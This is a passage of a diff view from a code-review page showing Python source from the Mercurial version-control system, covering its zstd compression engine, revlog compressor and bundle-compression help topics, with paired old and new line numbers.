3638 better compression than ``gzip``. It also frequently yields better
3627 compression than ``bzip2`` while operating at much higher speeds.
3639 compression than ``bzip2`` while operating at much higher speeds.
3628
3640
3629 If this engine is available and backwards compatibility is not a
3641 If this engine is available and backwards compatibility is not a
3630 concern, it is likely the best available engine.
3642 concern, it is likely the best available engine.
3631 """
3643 """
3632 return 'zstd', 'ZS'
3644 return 'zstd', 'ZS'
3633
3645
3634 def wireprotosupport(self):
3646 def wireprotosupport(self):
3635 return compewireprotosupport('zstd', 50, 50)
3647 return compewireprotosupport('zstd', 50, 50)
3636
3648
3637 def revlogheader(self):
3649 def revlogheader(self):
3638 return '\x28'
3650 return '\x28'
3639
3651
3640 def compressstream(self, it, opts=None):
3652 def compressstream(self, it, opts=None):
3641 opts = opts or {}
3653 opts = opts or {}
3642 # zstd level 3 is almost always significantly faster than zlib
3654 # zstd level 3 is almost always significantly faster than zlib
3643 # while providing no worse compression. It strikes a good balance
3655 # while providing no worse compression. It strikes a good balance
3644 # between speed and compression.
3656 # between speed and compression.
3645 level = opts.get('level', 3)
3657 level = opts.get('level', 3)
3646
3658
3647 zstd = self._module
3659 zstd = self._module
3648 z = zstd.ZstdCompressor(level=level).compressobj()
3660 z = zstd.ZstdCompressor(level=level).compressobj()
3649 for chunk in it:
3661 for chunk in it:
3650 data = z.compress(chunk)
3662 data = z.compress(chunk)
3651 if data:
3663 if data:
3652 yield data
3664 yield data
3653
3665
3654 yield z.flush()
3666 yield z.flush()
3655
3667
3656 def decompressorreader(self, fh):
3668 def decompressorreader(self, fh):
3657 zstd = self._module
3669 zstd = self._module
3658 dctx = zstd.ZstdDecompressor()
3670 dctx = zstd.ZstdDecompressor()
3659 return chunkbuffer(dctx.read_from(fh))
3671 return chunkbuffer(dctx.read_from(fh))
3660
3672
3661 class zstdrevlogcompressor(object):
3673 class zstdrevlogcompressor(object):
3662 def __init__(self, zstd, level=3):
3674 def __init__(self, zstd, level=3):
3663 # Writing the content size adds a few bytes to the output. However,
3675 # Writing the content size adds a few bytes to the output. However,
3664 # it allows decompression to be more optimal since we can
3676 # it allows decompression to be more optimal since we can
3665 # pre-allocate a buffer to hold the result.
3677 # pre-allocate a buffer to hold the result.
3666 self._cctx = zstd.ZstdCompressor(level=level,
3678 self._cctx = zstd.ZstdCompressor(level=level,
3667 write_content_size=True)
3679 write_content_size=True)
3668 self._dctx = zstd.ZstdDecompressor()
3680 self._dctx = zstd.ZstdDecompressor()
3669 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3681 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3670 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3682 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3671
3683
3672 def compress(self, data):
3684 def compress(self, data):
3673 insize = len(data)
3685 insize = len(data)
3674 # Caller handles empty input case.
3686 # Caller handles empty input case.
3675 assert insize > 0
3687 assert insize > 0
3676
3688
3677 if insize < 50:
3689 if insize < 50:
3678 return None
3690 return None
3679
3691
3680 elif insize <= 1000000:
3692 elif insize <= 1000000:
3681 compressed = self._cctx.compress(data)
3693 compressed = self._cctx.compress(data)
3682 if len(compressed) < insize:
3694 if len(compressed) < insize:
3683 return compressed
3695 return compressed
3684 return None
3696 return None
3685 else:
3697 else:
3686 z = self._cctx.compressobj()
3698 z = self._cctx.compressobj()
3687 chunks = []
3699 chunks = []
3688 pos = 0
3700 pos = 0
3689 while pos < insize:
3701 while pos < insize:
3690 pos2 = pos + self._compinsize
3702 pos2 = pos + self._compinsize
3691 chunk = z.compress(data[pos:pos2])
3703 chunk = z.compress(data[pos:pos2])
3692 if chunk:
3704 if chunk:
3693 chunks.append(chunk)
3705 chunks.append(chunk)
3694 pos = pos2
3706 pos = pos2
3695 chunks.append(z.flush())
3707 chunks.append(z.flush())
3696
3708
3697 if sum(map(len, chunks)) < insize:
3709 if sum(map(len, chunks)) < insize:
3698 return ''.join(chunks)
3710 return ''.join(chunks)
3699 return None
3711 return None
3700
3712
3701 def decompress(self, data):
3713 def decompress(self, data):
3702 insize = len(data)
3714 insize = len(data)
3703
3715
3704 try:
3716 try:
3705 # This was measured to be faster than other streaming
3717 # This was measured to be faster than other streaming
3706 # decompressors.
3718 # decompressors.
3707 dobj = self._dctx.decompressobj()
3719 dobj = self._dctx.decompressobj()
3708 chunks = []
3720 chunks = []
3709 pos = 0
3721 pos = 0
3710 while pos < insize:
3722 while pos < insize:
3711 pos2 = pos + self._decompinsize
3723 pos2 = pos + self._decompinsize
3712 chunk = dobj.decompress(data[pos:pos2])
3724 chunk = dobj.decompress(data[pos:pos2])
3713 if chunk:
3725 if chunk:
3714 chunks.append(chunk)
3726 chunks.append(chunk)
3715 pos = pos2
3727 pos = pos2
3716 # Frame should be exhausted, so no finish() API.
3728 # Frame should be exhausted, so no finish() API.
3717
3729
3718 return ''.join(chunks)
3730 return ''.join(chunks)
3719 except Exception as e:
3731 except Exception as e:
3720 raise error.RevlogError(_('revlog decompress error: %s') %
3732 raise error.RevlogError(_('revlog decompress error: %s') %
3721 str(e))
3733 str(e))
3722
3734
3723 def revlogcompressor(self, opts=None):
3735 def revlogcompressor(self, opts=None):
3724 opts = opts or {}
3736 opts = opts or {}
3725 return self.zstdrevlogcompressor(self._module,
3737 return self.zstdrevlogcompressor(self._module,
3726 level=opts.get('level', 3))
3738 level=opts.get('level', 3))
3727
3739
3728 compengines.register(_zstdengine())
3740 compengines.register(_zstdengine())
3729
3741
3730 def bundlecompressiontopics():
3742 def bundlecompressiontopics():
3731 """Obtains a list of available bundle compressions for use in help."""
3743 """Obtains a list of available bundle compressions for use in help."""
3732 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3744 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3733 items = {}
3745 items = {}
3734
3746
3735 # We need to format the docstring. So use a dummy object/type to hold it
3747 # We need to format the docstring. So use a dummy object/type to hold it
3736 # rather than mutating the original.
3748 # rather than mutating the original.
3737 class docobject(object):
3749 class docobject(object):
3738 pass
3750 pass
3739
3751
3740 for name in compengines:
3752 for name in compengines:
3741 engine = compengines[name]
3753 engine = compengines[name]
3742
3754
3743 if not engine.available():
3755 if not engine.available():
3744 continue
3756 continue
3745
3757
3746 bt = engine.bundletype()
3758 bt = engine.bundletype()
3747 if not bt or not bt[0]:
3759 if not bt or not bt[0]:
3748 continue
3760 continue
3749
3761
3750 doc = pycompat.sysstr('``%s``\n %s') % (
3762 doc = pycompat.sysstr('``%s``\n %s') % (
3751 bt[0], engine.bundletype.__doc__)
3763 bt[0], engine.bundletype.__doc__)
3752
3764
3753 value = docobject()
3765 value = docobject()
3754 value.__doc__ = doc
3766 value.__doc__ = doc
3755 value._origdoc = engine.bundletype.__doc__
3767 value._origdoc = engine.bundletype.__doc__
3756 value._origfunc = engine.bundletype
3768 value._origfunc = engine.bundletype
3757
3769
3758 items[bt[0]] = value
3770 items[bt[0]] = value
3759
3771
3760 return items
3772 return items
3761
3773
3762 i18nfunctions = bundlecompressiontopics().values()
3774 i18nfunctions = bundlecompressiontopics().values()
3763
3775
3764 # convenient shortcut
3776 # convenient shortcut
3765 dst = debugstacktrace
3777 dst = debugstacktrace
General Comments 0
You need to be logged in to leave comments. Login now